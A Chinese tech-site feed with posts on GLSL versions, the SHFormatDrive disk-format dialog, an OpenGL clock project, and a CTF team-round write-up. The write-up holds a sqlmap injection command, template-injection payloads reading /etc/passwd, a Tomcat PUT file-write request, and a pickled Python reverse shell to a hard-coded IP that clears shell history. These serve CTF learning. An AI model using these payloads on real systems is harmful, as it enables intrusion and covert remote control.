    片段(片元)着色器:
    uniform sampler2D tex0;varying vec2 vTexCoord;void main() { vec4 color = texture2D(tex0, vTexCoord); gl_FragColor = color;}
    版本 330从GLSL 130+开始,使用in和out代替属性和变化。 GLSL 330+包括其他功能,如布局限定符和将texture2D更改为纹理。
    顶点着色器
    #version 330uniform mat4 projTrans;layout(location = 0) in vec2 Position;layout(location = 1) in vec2 TexCoord;out vec2 vTexCoord;void main() { vTexCoord = TexCoord; gl_Position = u_projView * vec4(Position, 0, 1);}
    片段(片元)着色器:
    #version 330uniform sampler2D tex0;in vec2 vTexCoord;//使用你自己的输出从而替代 gl_FragColor out vec4 fragColor;void main() { //'texture' 替代 'texture2D' fragColor = texture(tex0, vTexCoord);}
    其他重大的变化GLSL 120 增加1,你可以在着色器中初始化数组,如下所示:
    float a[5] = float[5](3.4, 4.2, 5.0, 5.2, 1.1);float b[5] = float[](3.4, 4.2, 5.0, 5.2, 1.1);
    然而,即使使用GLSL 120,Mac OSX Snow Leopard也不支持上述功能。
    2,你可以在着色器中初始化全局变量,并且值将在链接时设置:
    uniform float val = 1.0;
    3,在设置const值时,可以使用像sin()这样的内置函数;
    4,必要时,整数会隐式转换为浮点数,例如:
    float f = 1.0; <-- validfloat g = 1; <-- only supported in GLSL 120vec2 v = vec2(1, 2.0); <-- only supported in GLSL 120
    5,你可以用f来定义一个浮点数:float f = 2.5f。
    GLSL 130 增加1,支持int和uint(以及它们的按位操作);
    2,支持switch语句;
    3,新的内置函数:trunc(),round(),roundEven(),isnan(),isinf(),modf();
    4,片段输出可以是用户定义的;
    5,输入和输出用in和out语法声明,替代属性和变化。
    GLSL 150 增加1,现在应该使用texture(),替代texture2D()。
    GLSL330 增加1,布局限定符可以声明顶点着色器输入和片段着色器输出的位置,例如:
    layout(location = 2) in vec3 values[4];
    形式上这只能通过ARB_explicit_attrib_location扩展来实现。
    注意1,uniform在图形学中可以理解为全局变量,如果varying修饰的跟cg一样都是函数参数,会很好理解;2,片段和片元其实都指的是一个fragment;3,vertex和point两个意思有时候不一样,前一个指定点、端点,后一个指“单纯的一个”点。
    1 留言 2018-11-18 20:54:27 奖励10点积分
  • 使用SHFormatDrive函数实现格式化磁盘

    背景某天,无意中在网上搜索资料的时候,看到一篇帖子,就是将如何编程实现格式化操作的。我便看了下,原来调用的是 SHFormatDrive 函数实现的。和我们选中磁盘驱动器,鼠标右击选择“格式化(A)…”弹出来的格式化窗口是同一个。也就是说,SHFormatDrive 实现的就是我们选中磁盘,点击格式化操作的过程,并不能实现静默格式化磁盘。
    好吧,确实让你失望了,我们这篇文章还是讲解下 SHFormatDrive 函数的使用,实现弹出格式化窗口的操作。对于静默格式化,目前我没有深究过。但是,我也想到一种感觉或许可行的静默实现思路,就是隐藏弹出的格式化的选择窗口,然后发送开始格式化的消息给隐藏的窗口,这样,就可以静静地进行格式化操作了。不过这个方法我没有试过,等以后闲来无事而且想深究的时候,我再试吧。
    现在,我就把 SHFormatDrive 实现有弹窗格式化磁盘的过程整理成文档,分享给大家。
    函数介绍SHFormatDrive 函数
    打开Shell的格式化对话框。
    函数声明
    DWORD SHFormatDrive( _In_ HWND hwnd, UINT drive, UINT fmtID, UINT options);
    参数

    hwnd [in]对话框的父窗口的句柄。格式对话框必须有父窗口,因此,此参数不能为NULL。driver驱动器格式化。该参数的值表示从 A 开始为 0 的字母驱动器。例如,值 2 代表C:驱动器。fmtID物理格式的ID。目前仅定义了:SHFMT_ID_DEFAULT(0xFFFF),表示默认格式ID。options此值必须为 0 或以下值之一才能更改对话框中的默认格式选项。该值被视为一个位域,应该相应地对待。SHFMT_OPT_FULL(0x0001):如果设置了此标志,则选择快速格式选项。SHFMT_OPT_SYSONLY(0x0002):选择创建MS-DOS启动磁盘选项,创建一个系统引导磁盘。
    返回值

    返回上一个成功格式的格式ID或以下值之一。 该值的LOWORD可以作为fmtID参数在后续调用中传递,以重复最后一个格式。



    VALUE
    MEANING




    SHFMT_ERROR
    最后一个格式出现错误。 这不表示驱动器是不可格式化的


    SHFMT_CANCEL
    最后一个格式被取消


    SHFMT_NOFORMAT
    驱动器无法格式化




    实现过程由上述的函数介绍中,我们知道,SHFormatDrive 的第一个参数是要关联一个窗口的句柄,而且这个参数不能为NULL。所以,这需要获取我们程序窗口的句柄,传递给它。本文给的例子程序,是一个控制台程序,所以,我们可以调用WIN32 API函数 GetConsoleWindow 获取当前控制台程序的窗口句柄。
    // 获取控制台程序窗口句柄 HWND hWnd = ::GetConsoleWindow();
    然后,我们就可以大胆地调用 SHFormatDrive 函数打开指定驱动器的格式化窗口了。其中,第 1 个参数表示关联窗口的窗口句柄;第 2 个参数表示要格式化的驱动器,该参数的值是以大写字母 A 开始为 0 的驱动器;第 3 个参数目前只有一个固定的值SHFMT_ID_DEFAULT,表示默认格式ID;第 4 个参数可以设置格式化对话框的格式化选项。
    ::SHFormatDrive(hParentWnd, (cDriverName - 'A'), SHFMT_ID_DEFAULT, 0);
    编码实现导入库文件#include <ShlObj.h>#pragma comment(lib, "Shell32.lib")
    格式化操作BOOL FormatDriver(HWND hParentWnd, char cDriverName){ ::SHFormatDrive(hParentWnd, (cDriverName - 'A'), SHFMT_ID_DEFAULT, 0); return TRUE;}
    程序测试我们运行程序,程序成功弹窗格式化E盘的格式化窗口。

    总结这个功能实现,关键是对 SHFormatDrive 函数的理解。大家在编码实现之前,可以先仔细阅读函数介绍部分的内容,这样,在调用 SHFormatDrive 函数的时候,就可以做到知其然,知其所以然了。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-29 18:54:53 奖励10点积分
  • 用OpenGL实现动态的立体时钟

    (在学期末做的图形学课程设计,特将学习心得整理如下)
    一、设计思路
    设计一个平面的时钟

    按照 钟面——>中心点——>刻度——>时针——>分针——>秒针 的顺序绘制
    利用纹理贴图的知识使平面时钟变成立体的时钟
    设置键盘交互
    测试,修改,整理代码

    二、部分代码设计1,键盘交互
    void keyboard(unsigned char key, int x, int y){ switch (key) { case 'x': //当按下键盘上d时,以沿X轴旋转为主 xrot += 6.0f; //设置旋转增量 glutPostRedisplay(); //重绘函数 break; case 'y': yrot += 6.0f; glutPostRedisplay(); break; case 'z': zrot += 6.0f; glutPostRedisplay(); break; default: break; }}
    2,时针绘制(秒针、分针类似)
    float Myhour(struct tm *ptr){ if (0 < ptr->tm_hour&&ptr->tm_hour < 12) { return((Pi / 2) - ((float)ptr->tm_hour + Mymin(ptr) / 60.0) / 12.0 * 2 * Pi); } else{ return((Pi / 2) - ((ptr->tm_hour - 12.0 + Mymin(ptr) / 60.0) / 12) * 2 * Pi); }} glLineWidth(5.0f); //设置线的宽度 glColor4f(1.0, 0.0, 1.0, 0.5); //洋红色 glBegin(GL_LINES); //画线函数 glRotatef((angle / 3600.0), 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Myhour(ptr))*R*0.55, sin(Myhour(ptr))*R*0.55); glEnd();
    3,纹理贴图
    请参照这篇文章:用OpenGL进行立方体表面纹理贴图
    三、完整代码如下Github地址
    #include "stdafx.h"#include<Windows.h>#include<GL\glut.h>#include<GL\GLAUX.H>#include<stdio.h>#include<stdlib.h>#include<math.h>#include<time.h>#pragma comment(lib, "glut32.lib")#pragma comment(lib, "glaux.lib")GLfloat xrot = 0; // X 旋转量GLfloat yrot = 0; // Y 旋转量GLfloat zrot = 0; // Z 旋转量GLuint texture[1]; // 存储一个纹理---数组const GLfloat Pi = 3.1415926536;const GLfloat R = 0.8f;const int n = 200;static GLfloat angle = 2 * Pi;//载入位图图象到内存AUX_RGBImageRec *LoadBMP(CHAR *Filename){ FILE *File = NULL; // 文件句柄 if (!Filename) // 确保文件名已提供 { return NULL; // 如果没提供,返回 NULL } File = fopen(Filename, "r"); // 尝试打开文件 if (File) // 判断文件是否存在 { fclose(File); // 关闭句柄 return auxDIBImageLoadA(Filename); // 载入位图并返回指针 } return NULL; // 如果载入失败,返回 NULL}//载入位图并转换成纹理//参数:纹理指针、bmp文件名、用户指定的纹理编号int LoadGLTextures(GLuint *texture, char *bmp_file_name, int texture_id){ int Status = FALSE; // 状态指示器 // 创建纹理的存储空间 AUX_RGBImageRec *TextureImage[1]; memset(TextureImage, 0, sizeof(void *) * 1); // 将指针设为 NULL // 载入位图,检查有无错误,如果位图没找到则退出 if (TextureImage[0] = LoadBMP(bmp_file_name)) { Status = TRUE; // 将 Status 设为 TRUE //生成(generate)纹理 glGenTextures(texture_id, texture); //&texture[0]); //绑定2D纹理对象 glBindTexture(GL_TEXTURE_2D, *texture); //texture[0]); //关联图像数据与纹理对象 glTexImage2D(GL_TEXTURE_2D, 0, 3, TextureImage[0]->sizeX, TextureImage[0]->sizeY, 0, GL_RGB, GL_UNSIGNED_BYTE, TextureImage[0]->data); //图形绘制时所使用的滤波器参数 glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); // 线形滤波 glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); // 线形滤波 } //释放图像的内存,因为已经生成纹理了,没用了 if (TextureImage[0]) // 纹理是否存在 { if (TextureImage[0]->data) // 纹理图像是否存在 { free(TextureImage[0]->data); // 释放纹理图像占用的内存 } free(TextureImage[0]); // 释放图像结构 } else printf("纹理不存在"); return Status; // 返回 Status}void DrawCube(void) // 从这里开始进行所有的绘制{ glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // 清除屏幕和深度缓存 glLoadIdentity(); // 重置当前的模型观察矩阵 glTranslatef(0.0f, 0.0f, -5.0f); // 移入屏幕 5 个单位 glRotatef(xrot, 1.0f, 0.0f, 0.0f); // 绕X轴旋转 glRotatef(yrot, 0.0f, 1.0f, 0.0f); // 绕Y轴旋转 glRotatef(zrot, 0.0f, 0.0f, 1.0f); // 绕Z轴旋转 glColor4f(1.0, 1.0, 1.0, 1.0); glBindTexture(GL_TEXTURE_2D, texture[0]); // 选择纹理 glBegin(GL_QUADS); // 前面 glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, -1.0f, 1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, -1.0f, 1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, 1.0f, 1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, 1.0f); // 纹理和四边形的左上 // 后面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBindTexture(GL_TEXTURE_2D, texture[1]); glBegin(GL_QUADS); glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, -1.0f); // 纹理和四边形的左下 // 顶面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, 1.0f, 1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, 1.0f, 1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f); // 纹理和四边形的右上 // 底面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, -1.0f, -1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, 1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, 1.0f); // 纹理和四边形的右下 // 右面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, -1.0f, -1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, 1.0f, 1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, 1.0f); // 纹理和四边形的左下 // 左面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, 1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, 1.0f, 1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // 纹理和四边形的左上 glEnd(); glFlush(); //glutSwapBuffers();}float Mysecond(struct tm *ptr){ return((Pi / 2) - (((float)ptr->tm_sec) / 60) * 2 * Pi);}float Mymin(struct tm *ptr){ return((Pi / 2) - ((ptr->tm_min + (Mysecond(ptr) / 60)) / 60) * 2 * Pi);}float Myhour(struct tm *ptr){ if (0 < ptr->tm_hour&&ptr->tm_hour < 12) { return((Pi / 2) - ((float)ptr->tm_hour + Mymin(ptr) / 60.0) / 12.0 * 2 * Pi); } else{ return((Pi / 2) - ((ptr->tm_hour - 12.0 + Mymin(ptr) / 60.0) / 12) * 2 * Pi); }}void myDisplay(void){ struct tm *ptr; //获取系统时间 time_t it; it = time(NULL); ptr = localtime(&it); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); //清除颜色 glLoadIdentity(); glTranslatef(0.0f, 0.0f, -5.0f); DrawCube();//钟盘 glEnable(GL_POINT_SMOOTH); glEnable(GL_LINE_SMOOTH); glHint(GL_POINT_SMOOTH_HINT, GL_NICEST); glHint(GL_LINE_SMOOTH_HINT, GL_NICEST); glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glPushMatrix(); glTranslatef(0, -0.0, 1.0); glColor4f(1.0, 0.0, 0.0, 0.5); //洋红色 glBegin(GL_POLYGON); for (int i = 0; i < n; i++){ glVertex2f(R*cos(2 * Pi / n*i), R*sin(2 * Pi / n*i)); } glEnd(); //刻度 glColor4f(1.0, 1.0, 1.0, 0.5); //白色 glBegin(GL_POINTS); glPointSize(5.0f); for (int j = 0; j < 12; j++) { glVertex2f(0.75*cos(2 * Pi / 12 * j), 0.75*sin(2 * Pi / 12 * j)); } glEnd(); //表盘上的中心点 glPointSize(5.0f); glColor4f(0.0, 0.0, 0.0, 0.2); glBegin(GL_POINTS); glVertex2f(0.0, 0.0); glEnd(); //时针 glLineWidth(5.0f); //设置线的宽度 glColor4f(1.0, 0.0, 1.0, 0.5); //洋红色 glBegin(GL_LINES); //画线函数 glRotatef((angle / 3600.0), 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Myhour(ptr))*R*0.55, sin(Myhour(ptr))*R*0.55); glEnd(); //分针 glLineWidth(5.0f); glColor4f(0.0, 1.0, 0.0, 0.5); //绿色 glBegin(GL_LINES); glRotatef((angle / 60.0), 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Mymin(ptr))*R*0.65, sin(Mymin(ptr))*R*0.65); glEnd(); //秒针 glLineWidth(3.0f); glColor4f(0.0, 0.0, 1.0, 0.5); //蓝色 glBegin(GL_LINES); glRotatef(angle, 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Mysecond(ptr))*R*0.85, sin(Mysecond(ptr))*R*0.85); glEnd(); glPopMatrix(); glutSwapBuffers();// glFlush(); //保证前面的OpenGL命令立即执行,而不是让它们在缓冲区中等待}void init(void){ glClearColor(1.0, 1.0, 1.0, 1.0); //清理颜色,为白色,(也可认为是背景颜色) glCullFace(GL_BACK); //背面裁剪(背面不可见) glEnable(GL_CULL_FACE); //启用裁剪 glEnable(GL_TEXTURE_2D); LoadGLTextures(&texture[0], "clock3.bmp", 1); //载入纹理贴图 LoadGLTextures(&texture[1], "clock3.bmp", 2);}//当窗口大小改变时,会调用这个函数void reshape(GLsizei w, GLsizei h){ //这里小说明一下:矩阵模式是不同的,他们各自有一个矩阵。投影相关 //只能用投影矩阵。 glViewport(0, 0, w, h); //设置视口 glMatrixMode(GL_PROJECTION); //设置矩阵模式为投影变换矩阵, glLoadIdentity(); //变为单位矩阵 gluPerspective(60, (GLfloat)w / h, 0, 1000); //设置投影矩阵 glMatrixMode(GL_MODELVIEW); //设置矩阵模式为视图矩阵(模型) glLoadIdentity(); //变为单位矩阵}//键盘输入事件函数void keyboard(unsigned char key, int x, int y){ switch (key) { case 'x': //当按下键盘上d时,以沿X轴旋转为主 xrot += 6.0f; //设置旋转增量 glutPostRedisplay(); //重绘函数 break; case 'y': yrot += 6.0f; glutPostRedisplay(); break; case 'z': zrot += 6.0f; glutPostRedisplay(); break; default: break; }}void myIdle(void){ angle -= ((2 * Pi) / 60); Sleep(1000); if (angle < 0.0f){ angle = 2 * Pi; } myDisplay();}int main(int argc, char *argv[]){ glutInit(&argc, argv); //对GLUT进行初始化 // glutInitDisplayMode(GLUT_RGB | GLUT_SINGLE); //设置显示方式 glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH);//设置双缓存 //GLUT_RGB表示使用RGB颜色,GLUT_SINGLE表示使用单缓冲 glutInitWindowPosition(200, 200); //设置窗口在屏幕中的位置 glutInitWindowSize(500, 500); //设置窗口的大小 glutCreateWindow("OpenGL时钟"); //设置窗口的标题 init(); //初始化资源,这里一定要在创建窗口以后,不然会无效。 LoadGLTextures(&texture[0], "clock3.bmp", 1); LoadGLTextures(&texture[1], "clock3.bmp", 2); glutDisplayFunc(&myDisplay); //调用画图函数 glutIdleFunc(&myIdle); glutReshapeFunc(reshape); //绘制图形时的回调 glutKeyboardFunc(keyboard); glutMainLoop(); //进行一个消息循环。显示窗口,并等待窗口关闭后才会返回 return 0;}
    四、总结此次设计主要用了纹理贴图和二维绘图的知识。
    我还记得最开始设计时钟时,背景图是黑色的,而且图片也是随便贴了一张上去,给指导老师看过了后,他评价道:“你能否让我看起来你像是做了个时钟?比如把背景颜色调一调,纹理换一换。”
    我恍然大悟。是啊!做课程设计本来也是一件艺术品,要用心设计,才能让有兴趣的人愿意为此驻足欣赏。
    原文链接
    2 留言 2018-11-14 13:05:46 奖励15点积分
  • 首届新疆网络安全知识技能竞赛题解(团体赛)

    前言第一天经历了个人解题晋级赛之后,第二天就是团体的解题赛,这一天管理相对第一天比较严一些,进行手机的提交要求,第一天虽然也提交了,明显还是有人使用手机开了热点。这一天的刷题还算是比较顺利,web题目就一道大家都没有解出来之外,其他的也全部搞定。
    团体解题晋级赛有了第一天的经历之后,这次相对的把自己的节奏和心态都稍微的进行调整,解题中相对还算是比较顺利,两个队伍都挺进了决赛。
    Web[revenge_of_sql]sql的复仇,应该是和sql注入有关,首先进行敏感目录扫描,发现.git源码泄露直接githack 发现 index.php文件存在 过滤空格的盲注注入,直接sqlmap 跑数据库但是发现没有sqlmap -r 1.txt —random-agent —dbms=mysql —tamper=space2comment.py -v 3 —sql-shell
    available databases [4]:[*] information_schema[*] mysql[*] performance_schema[*] sql1
    admin xman 登录进入 和源码的逻辑相同没有显示也可以手工注入登录Username='/**/union/**/select('202cb962ac59075b964b07152d234b70')#&password=123最后分析一下git历史信息发现有flag22222.php使用sqlmap 跑一下

    <strong>Web baby python</strong>没有啥思路,直接爆破url参数发现出现花括号 会出现信息的不完整输出,那应该明确了考点,就是python web的模板注入,可以直接使用函数读文件也可以使用其他python 沙盒绕过
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read() }}等python链进行代码的执行http://10.98.98.25:5554/404?msg='}}{{ open('/etc/passwd').read() }}
    ezupload文件上传常规套路:直接大小写、javascript、 改后缀 、截断或这让js失效

    http[步骤]访问发现提示 不是本地人,不允许访问, 于是修改xff为127.0.0.1或localhost伪造为本地伪造后提示未登录,查看cookie发现存在login=0的键值,将0修改为1得到flag
    ezpentest[分析]这道题,没有队伍解出来,当时进行了目录的扫描,和nmap的扫描,发现了8080 端口tomcat,按题目的说明,应该是一个tomcat溢出漏洞,赛后讨论应该是CVE-2017-12617(远程代码执行漏洞)影响范围:
    Apache Tomcat 9.0.0.M1-9.0.0Apache Tomcat 8.5.0-8.5.22Apache Tomcat 8.0.0.RC1-8.0.46Apache Tomcat 7.0.0-7.0.81当时没有网,也就没有找到具体的payload ,可以参考P牛的vuln库 任意文件写入
    PUT /1.jsp/ HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 5shellCheck in考察的是python的cPickle的反序列化漏洞
    # !/usr/bin/env python# -*- coding:utf-8 -*-import marshalimport base64import cPickleimport urllibdef foo():#you should write your code in this function import socket import os,pty def test(ip,port): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,int(port))) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) shell= "/bin/sh" os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() test('202.112.51.130',9999)try:#尝试使用cPickle来序列号代码对象 cPickle.dumps(foo.func_code)except Exception as e: print e #TypeError: can't pickle code objectscode_serialized = base64.b64encode(marshal.dumps(foo.func_code))print code_serialized
    misc流量包解密02题目进行了说明,mac地址就是秘钥,国赛的题目也出现过,当时提取mac之后没有跑出来,最会拼一下脑洞发现,爆破的时候的数据包的mac 地址就是密码提示是mac,尝试提取mac不行,结果就是脑洞 1 B4:0B:44:C2:D5:FF xj WPA (1 handshake)然后发现就是dns apr 做中间人,做了个test.txt success.txt的测试就没有url了需要再次脑洞一下吧。还是那个师傅的blog说的是url flag{http://www.wiattack.net/test.txt}
    如来十三掌夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮与佛论禅解密:MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9尝试base64解密失败,继续尝试,发现先rot13,在base64ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}
    Find_your_flag是一个内存取证的题目Volatility工具安排一下遍历文件找一找flag导出文件发现需要密码,根据提示猜测密码可能在剪切板
    倍四家族这个题是一个7z的带密码的压缩包,想推导密码,你需要点脑洞,根据题目和压缩包,发现密码是flag字符的base64编码,解密出flag.txt最后写一个脚本进行每一行的解密(参考官方wp)
    def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('flag.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i+8], 2)) print res_str solve_stego()
    得到
    W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ
    猜测是base85,python跑一下In [1]: import base64In [2]: base64.b85decode(b'W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ')Out[2]: b'flag{we_buried_love_family_dissatisfacted}'

    密码short_story一个doc文档,字体有点高低和一个隐藏的矩阵,应该是hill加密
    美国代表团访华时曾有一名官员当着周总理的面说中国人很喜欢低着头走路而我们美国人却总是抬着头走路周总理不慌不忙脸带微笑地说这并不奇怪因为我们中国人喜欢走上坡路而你们美国人喜欢走下坡路AABBBBAAABBABBAAAABBAABBBBAAABBBAAAAABBAAAABABAAAABABBAAAABBAAAABABBABABABAABABBAAAABABABAhrwdhrygcqwdbnklbk
    继续从文档中获得密钥。文档末尾隐藏了一个矩阵,选中更改字体颜色后可以看到。根据这个矩阵,联想到hill加密先根据密钥矩阵计算逆矩阵,将密文按照2个2个分组,与逆矩阵右乘得到明文。```pycoding:UTF-8key = [-7,2,4,-1]m = “hrwdhrygcqwdbnklbk”
    c= []for x in range(len(m)): if(m[x]>=’a’and x<=’z’): print ord(m[x])-97 c.append(ord(m[x])-97)print ctemp = []
    for i in range(0,len(c),2): temp.append(chr(((key[0] c[i]+key[1] c[i+1])%26)+97)) temp.append(chr(((key[2] c[i] + key[3] c[i+1])%26)+97))temp = ‘’.join(temp)print temp[::-1]
    得到llihllamssihtrednu题目中说“走下坡路”,所以想到字符串经过反向处理。得到flag{underthissmallhill}。#### weak_des给出了加密代码参考0xptdg战队的py```py#coding:utf-8from Crypto.Cipher import DESimport libnumct=open('ciphertext','rb').read()KEY=libnum.n2s(0xe0e0e0e0f1f1f1f1)IV='13245678'a=DES.new(KEY,DES.MODE_OFB,IV)print a.decrypt(ct)The furthest distance in the worldIs not between life and deathBut when I stand infront of youYet you don't know that I love youIs not when I stand infront of youYet you can't see my loveBut when undoubtedly knowing the love from bothYet can not be togetherIs not being apart while being in loveBut when painly cannot resist the yearningYet pretending you have never been in my heartIs not when painly can not resist the yearningyet pretending you have never been in my heartbut using one's in different heartTo dig an uncrossable riverFor the one who loves youflag{_poor_single_dog_has_found_an_echo_from_it}个人和团体的re+pwn解题汇总reeasy-comparejadx先打开看MainActivity
    public class MainActivity extends AppCompatActivity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView((int) R.layout.activity_main); ((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() { public void onClick(View v) { if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) { Toast.makeText(MainActivity.this, "you are right~!", 1).show(); } else { Toast.makeText(MainActivity.this, "wrong!", 1).show(); } } }); }}
    调用了so中的Check.checkflag函数校验flag,定位到so中的函数
    signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1){ signed int v1; // r4 const char *v2; // r5 v1 = 0; v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))(); j_getKey(); _android_log_print(4, "INJECT", "asdasd"); if ( !strcmp(v2, "this_is_easy_so") ) v1 = 1; return v1;}
    发现是与一个固定的字符串对比
    但是尝试一下程序中提交this_is_easy_so并不对,查看导出表信息,发现存在init_arrary里面对strcmp进行了Inline hook,定位到fake function。发现是aes,key就是动态解密的固定base64字符串。解密得到flag
    Get-A-Wayshell这个二进制数据是一段shellcode,先写程序把它Load起来
    FILE *fp = fopen("file.bin", "rb"); if (fp) { fseek(fp, 0, SEEK_END); DWORD dwSize = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pAddr = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); fread(pAddr, dwSize, 1, fp); fclose(fp); __asm { mov eax, pAddr; call eax; } }
    提示输入key,随便输入一个
    F:\Project\LoadShell.exeplease input your answer:asdsdwrong wayod载入看下
    跟踪会发现在0x10000000地址释放出主要模块
    100010CD 85C0 test eax,eax100010CF 74 11 je short 100010E2100010D1 B9 19000000 mov ecx,0x19100010D6 BE C0710110 mov esi,0x100171C0100010DB BF 30720110 mov edi,0x10017230100010E0 F3:A5 rep movs dword ptr es:[edi],dword ptr ds>100010E2 68 58440110 push 0x10014458 ; ASCII "please input your answer:"100010E7 E8 48170000 call 10002834100010EC 83C4 04 add esp,0x4100010EF C64424 10 00 mov byte ptr ss:[esp+0x10],0x0100010F4 8D4424 11 lea eax,dword ptr ss:[esp+0x11]100010F8 6A 63 push 0x63100010FA 6A 00 push 0x0100010FC 50 push eax100010FD E8 AE660000 call 100077B010001102 83C4 0C add esp,0xC10001105 8D4424 10 lea eax,dword ptr ss:[esp+0x10]10001109 50 push eax1000110A 68 74440110 push 0x10014474 ; ASCII "%s"在此处下断点分析发现是个迷宫问题,dump下迷宫来
